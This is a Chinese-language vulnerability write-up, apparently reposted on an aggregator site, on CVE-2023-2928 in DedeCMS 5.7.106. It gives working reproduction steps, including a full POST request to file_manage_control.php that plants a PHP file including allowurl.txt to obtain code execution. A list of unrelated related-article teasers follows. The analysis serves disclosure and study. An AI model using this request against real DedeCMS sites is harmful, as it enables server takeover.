CVE-2023-2928 DedeCMS 文件包含漏洞getshell 漏洞分析

DedeCMS(也称为织梦CMS)是一款基于PHP+MySQL的开源内容管理系统。

在 DedeCMS 5.7.106 及之前的版本中发现一个漏洞。它已被宣布为关键。受此漏洞影响的是未知功能的文件uploads/dede/article_allowurl_edit.php。对参数 allurls 的操作会导致代码注入。攻击可以远程发起。该漏洞已向公众披露并可能被使用。此漏洞的关联标识符为 VDB-230083。

漏洞复现

访问article_allowurl_edit.php页面 保存超链接

访问file_manage_control.php 利用文件包含构造1.php

POST /dede/file_manage_control.php HTTP/1.1

fmdo=edit&backurl=&token=&activepath=&filename=1.php&str=<?php Include_once("./data/admin/allowurl.txt"); ?>&B1=++%E4%BF%9D+%E5%AD%98++

访问1.php

漏洞分析

article_allowurl_edit.php

可以将用户输入的字符保存到/admin/allowurl.txt ,因为有stripslashes函数的过滤xss无效

file_manage_control.php

这里就不分析后端了 我们之前看这个页面的功能

file_manage_control.php 页面为用户提供了网站文件管理的功能,

尝试在php中或txt中添加php执行代码结果被检测了

这样的话一般的利用方式就不行了,好在cms没用禁用掉文件包含的逻辑,我们可以利用/admin/allowurl.txt 这个文件,实现文件包含任意代码执行。

创建文件1.php

其内容为<?php Include_once("./data/admin/allowurl.txt"); ?>

之后访问1.php 即可执行我们想要的代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/798638.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决前端性能瓶颈:高效处理大量数据渲染与复杂交互的策略与优化方法

✨✨祝屏幕前的小伙伴们每天都有好运相伴左右&#xff0c;一定要天天开心&#xff01;✨✨ &#x1f388;&#x1f388;作者主页&#xff1a; 喔的嘛呀&#x1f388;&#x1f388; 目录 引言 一、分页加载数据 二、虚拟滚动 三、懒加载 四、数据缓存 五、减少重绘和回流 …

第十四届蓝桥杯c++组B组做题笔记

A题&#xff1a;日期统计&#xff1a; 【问题描述】 小蓝现在有一个长度为 100 的数组&#xff0c;数组中的每个元素的值都在 0 到 9 的范围之内。数组中的元素从左至右如下所示&#xff1a; 5 6 8 6 9 1 6 1 2 4 9 1 9 8 2 3 6 4 7 7 5 9 5 0 3 8 7 5 8 1 5 8 6 1 8 3 0 3 7 …

基本乐理(识别和构成和弦一)阅读记录一

和弦、 和弦是非常好听的&#xff0c;顾名思义。我现在阅读的书籍是《基本乐理》- 作者李重光&#xff0c;直接跳跃到第十九章进行阅读。 理解和弦 书中介绍对理解和弦的前提要素是要对音程要掌握。 如&#xff1a;大三度 如&#xff1a;小三度 如&#xff1a;纯五度 音程 音…

如何使用Java和RabbitMQ实现延迟队列?

前言 今天我们使用Java和RabbitMQ实现消息队列的延迟功能。 前期准备&#xff0c;需要安装好docker、docker-compose的运行环境。 需要安装RabbitMQ的可以看下面这篇文章。 如何使用PHP和RabbitMQ实现消息队列&#xff1f;-CSDN博客 今天讲的是依赖RabbitMQ的延迟插件实现…

Python---Numpy线性代数

1.数组和矩阵操作&#xff1a; 创建数组和矩阵&#xff1a;np.array, np.matrix 基本的数组操作&#xff1a;形状修改、大小调整、转置等 import numpy as np# 创建一个 2x3 的数组 A np.array([[1, 2, 3], [4, 5, 6]]) print("数组 A:\n", A)# 将数组 A 转换为矩阵…

SpringBoot项目打包和部署

目录 1.插件 2.打包 3.运行 1.插件 此插件会在pom中自动添加 <build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></bu…

HTML:HTML事件汇总

html事件是用户和页面交互的一些效果 &#xff0c;用户通过点击&#xff0c;触摸等等方式更新数据&#xff0c;页面在加载完成之后的交互效果就需要通过触发事件来完成&#xff0c;事件大概分为&#xff0c;鼠标事件&#xff0c;窗口事件&#xff0c;表单事件&#xff0c;键盘事…

Golang 创建一个简单的内存池

内存池主要作用是减少内存分配和释放的开销&#xff0c;提高程序的性能和效率。内存池通过预先分配一块较大的内存区域&#xff0c;然后将这块区域分割成多个小块&#xff0c;用于存储特定类型的数据。这样&#xff0c;当程序需要分配内存时&#xff0c;可以直接从内存池中获取…

深入了解 JavaScript 中的 Promise 相关方法:all、race 和 allSettled

在 JavaScript 开发中&#xff0c;处理异步操作是很常见的需求。随着 ECMAScript 6&#xff08;ES6&#xff09;的引入&#xff0c;Promise 成为了处理异步操作的主要方式之一。而在 Promise 的方法中&#xff0c;Promise.all()、Promise.race() 和 Promise.allSettled() 是一些…

【软考】23种设计模式详解,记忆方式,并举例说明

23种设计模式详解&#xff0c;举例说明 一、创建型模式1.1、抽象工厂模式&#xff08;Abstract Factory&#xff09;1.1.1、简介1.1.2、意图与应用场景1.1.3、结构1.1.4、优缺点1.1.4、示例代码&#xff08;简化版&#xff09; 1.2、建造者模式&#xff08;Builder&#xff09;…

c++的学习之路:16、string(3)

上章有一些东西当时没学到&#xff0c;这里学到了将在补充&#xff0c;文章末附上代码&#xff0c;思维导图。 目录 一、赋值重载 二、带模板的创建 三、析构函数 四、代码 五、思维导图 一、赋值重载 这里的赋值重载就是直接利用交换函数进行把传参生成的临时数据和需要…

【iOS】UITableView性能优化

文章目录 前言一、优化的本质二、卡顿产生原因三、CPU层面优化1.使用轻量级对象2.cellForRowAtIndexPath方法中不要做耗时操作3.UITableView的复用机制4.提前计算好布局了解tableView代理方法执行顺序cell高度计算rowHeightestimatedRowHeight 高度计算进行时机rowHeight计算时…

基于Spring boot+Vue的业余排球俱乐部会员管理系统

5 系统功能模块的具体实现 5.1超级会员角色 5.1.1 登录 超级管理员登录通过用户名和密码去数据库查询用户表&#xff0c;该名称是否在用户表中存在&#xff0c;如果存在&#xff0c;则通过用户名和密码查询密码是否正确&#xff0c;然后吧用户的信息存在jwt的负载里&#xf…

【CicadaPlayer】demuxer_service的简单理解

G:\CDN\all_players\CicadaPlayer-github-0.44\mediaPlayer\SMPMessageControllerListener.cppplayer的demuxer服务类 std::unique_ptr<demuxer_service> mDemuxerService{nullptr};根据option (Cicada::options),可以决定音视频的不同操作,通过 hander可以获得具体使…

探究“大模型+机器人”的现状和未来

基础模型(Foundation Models)是近年来人工智能领域的重要突破&#xff0c;在自然语言处理和计算机视觉等领域取得了显著成果。将基础模型引入机器人学&#xff0c;有望从感知、决策和控制等方面提升机器人系统的性能&#xff0c;推动机器人学的发展。由斯坦福大学、普林斯顿大学…

Deepin20.9下用docker安装oracle12c企业版

1.下载oracle的docker镜像制作工具 链接URL&#xff1a; https://github.com/oracle/docker-images/archive/refs/heads/main.zip 或 https://codeload.github.com/oracle/docker-images/zip/refs/heads/main 下载docker-images-main.zip 解压至目录~/下。 2.下载oracle12c安…

【Linux】在 Linux 上进行网络测速

文章目录 内网节点间测速(iperf3)公网测速(speedtest) 内网节点间测速(iperf3) iperf3是一种网络性能测试工具&#xff0c;它可以测量TCP和UDP数据传输的带宽、延迟、抖动等指标。要使用iperf3&#xff0c;你需要在两台计算机上安装这个工具&#xff0c;一台作为服务器&#x…

AI推介-多模态视觉语言模型VLMs论文速览(arXiv方向):2024.03.31-2024.04.05

文章目录~ 1.Know Your Neighbors: Improving Single-View Reconstruction via Spatial Vision-Language Reasoning2.DeViDe: Faceted medical knowledge for improved medical vision-language pre-training3.Is CLIP the main roadblock for fine-grained open-world percept…

目标检测YOLO实战应用案例100讲-基于特征融合和预测细化的遥感图像目标检测

目录 前言 国内外研究现状 传统遥感目标检测方法 基于模板匹配的方法

Redis中的Sentinel(六)

Sentinel 选举领头Sentinel. 当一个主服务器被判断为客观下线时&#xff0c;监视这个下线主服务器的各个Sentinel会进行协商&#xff0c;选举出一个领头Sentinel,并由领头 Sentinel对下线主服务器执行故障转移操作。以下是Redis选举领头Sentinel的规则和方法: 1.所有在线的S…